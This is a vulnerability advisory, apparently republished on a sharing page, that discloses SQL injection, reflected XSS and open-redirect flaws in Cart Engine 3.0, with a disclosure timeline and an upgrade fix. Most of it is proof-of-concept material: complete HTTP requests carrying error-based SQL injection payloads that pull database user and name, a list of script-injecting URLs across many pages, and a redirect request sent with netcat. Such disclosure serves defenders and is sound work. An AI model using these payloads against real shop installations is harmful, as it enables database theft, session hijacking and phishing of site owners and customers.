扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
=== Details === Quantum Leap Advisory: http://www.quantumleap.it/cart-engine-3-0-multiple-vulnerabilities-sql-injection-reflected-xss-open-redirect/ Affected Product: Cart Engine Version: 3.0 === Executive Summary === SQL Injection: Using a specially crafted HTTP request, it is possible to exploit a lack in the validation[1] of the “item_id[0]” and “item_id[]” input parameters of cart.php page. Successful exploitation of the vulnerabilities results in read sensitive data from the database and, in some cases, execute administration operation on the database or issue commands to the operating system. Reflected XSS: Using a specially crafted HTTP request, it is possible to exploit a lack in the neutralization[2] of multiple pages output which includes the user submitted content. Successful exploitation of the vulnerabilities, results in the execution of arbitrary HTML and script code in the user’s browser in the context of the victim user's session trough a “Reflected XSS”. Open Redirect: Using a specially crafted HTTP request, it is possible to redirect[3] the normal browsing of users to a malicious site by modifying untrusted URL input in Referer HTTP header parameter in index.php, cart.php, msg.php and page.php pages. Successful exploitation of the vulnerabilities results in phishing scam, user credential theft, malware dissemination. === Proof of Concept === = SQL Injection (based on MySQL) = A SQL Injection vulnerability has been detected on cart.php page in Cart Engine CMS. The function “sql_query” in file “cart.php” doesn’t sanitize the “$item_id” parameter, so error based and boolean-based blind or time-based blind SQL Injection attacks can be executed. ## HTTP REQUEST - injection on item_id[0] parameter ## POST /cart.php HTTP/1.1 Host: eshop.hacme.hac User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://eshop.hacme.hac/detail.php?item_id=8 Cookie: PHPSESSID=iost0tdmvdobp966rbppa514f3; ce3_history[0]=12; ce3_history[1]=8 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------109606523931762158449252347 Content-Length: 774 -----------------------------109606523931762158449252347 Content-Disposition: form-data; name="AXSRF_token" -----------------------------109606523931762158449252347 Content-Disposition: form-data; name="cmd" add -----------------------------109606523931762158449252347 Content-Disposition: form-data; name="item_id[0]" 8' AND (SELECT 22 FROM (SELECT COUNT(*), CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND()*2))a FROM INFORMATION_SCHEMA.columns GROUP BY a)b) AND 'ql'='ql -----------------------------109606523931762158449252347 Content-Disposition: form-data; name="qty[0]" 1 -----------------------------109606523931762158449252347 Content-Disposition: form-data; name="qty[0]" 1 -----------------------------109606523931762158449252347-- ## EOF HTTP REQUEST ## ## HTTP REQUEST - injection on item_id[] parameter ## POST /cart.php HTTP/1.1 Host: eshop.hacme.hac User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://eshop.hacme.hac/detail.php?item_id=13 Cookie: PHPSESSID=aci236dihehpjaldchbt6k6v23; ce3_history[0]=24; ce3_history[1]=13 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------1948855485207142787318084006 Content-Length: 2353 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="AXSRF_token" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="cmd" add -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[0]" 13 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[0]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[0]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="prod_opt_3" 3 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="prod_opt_12" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" ' AND (SELECT 22 FROM (SELECT COUNT(*), CONCAT(0x3a,0x3a,(SELECT database()),0x3a,0x3a,FLOOR(RAND()*2))a FROM INFORMATION_SCHEMA.columns GROUP BY a)b) AND 'ql'='ql -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="item_id[]" -----------------------------1948855485207142787318084006 Content-Disposition: form-data; name="qty[]" 1 -----------------------------1948855485207142787318084006-- ## EOF HTTP REQUEST ## = Reflected XSS = A Reflected XSS vulnerability has been detected on multiple pages in Cart Engine CMS. In the file "skins/default/outline.tpl", the parameter "path" in section "drop down TOP menu (with path)" and the parameter "$print_this_page" in section "footer_content_block" are not sanitized, so an XSS attack can be executed on multiple pages. ## HTTP REQUESTS ## /index.php?"><script>alert('XSS')<%2fscript> /index.php?'%3balert('XSS')%2f%2f /checkout.php?%27%3balert%28%27XSS%27%29%2f%2f /checkout.php?%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E /contact.php?"><script>alert('XSS')<%2fscript> /contact.php?'%3balert('XSS')%2f%2f /detail.php?item_id=10&'%3balert('XSS')%2f%2f /detail.php?item_id=10&"><script>alert('XSS')<%2fscript> /distro.php?'%3balert('XSS')%2f%2f /distro.php?"><script>alert('XSS')<%2fscript> /newsletter.php?'%3balert('XSS')%2f%2f /newsletter.php?"><script>alert('XSS')<%2fscript> /page.php?pid=2&"><script>alert('XSS')<%2fscript> /page.php?pid=2&'%3balert('XSS')%2f%2f /profile.php?"><script>alert('XSS')<%2fscript> /profile.php?'%3balert('XSS')%2f%2f /search.php?mod_id=_shop&cmd=list&cat_id=1&'%3balert('XSS')%2f%2f /search.php?mod_id=_shop&cmd=list&cat_id=1&"><script>alert('XSS')<%2fscript> /sitemap.php?'%3balert('XSS')%2f%2f /sitemap.php?"><script>alert('XSS')<%2fscript> /task.php?mod=qcomment&m=gbook&i=1&t=cy9NLS5Jys%2FPBgA%3D&"><script>alert('XSS')<%2fscript> /task.php?mod=qcomment&m=gbook&i=1&t=cy9NLS5Jys%2FPBgA%3D&'%3balert('XSS')%2f%2f /tell.php?'%3balert('XSS')%2f%2f /tell.php?"><script>alert('XSS')<%2fscript> ## EOF HTTP REQUEST ## = Open Redirect = An Open Redirect vulnerability has been detected on multiple pages in Cart Engine CMS. The function "redir" in file "includes/function.php" doesn't check the "$_SERVER['HTTP_REFERER']" parameter, so an Open Redirect attack can be executed. ## HTTP REQUEST ## GET /page.php HTTP/1.1 Host: eshop.hacme.hac User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.google.com/search?hl=en&q= Cookie: PHPSESSID=rtg5ooetpj7resie416iu9b2s6 Connection: close $ cat openredirect.req | nc -vvv eshop.hacme.hac 80 hacme.hac [10.0.2.80] 80 (http) open HTTP/1.1 302 Found Date: Sun, 10 Aug 2014 15:16:34 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: http://www.google.com/search?hl=en&q= Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 sent 403, rcvd 380 === Solution === Upgrade to Cart Engine 4.0. === Disclosure Timeline === 2014-08-08 – Vulnerability Discovered 2014-08-10 – Initial vendor notification 2014-08-20 – The vendor fixed the vulnerability 2014-09-15 – Public advisory === References === [1] https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet [2] https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet [3] https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet |
体验盒子
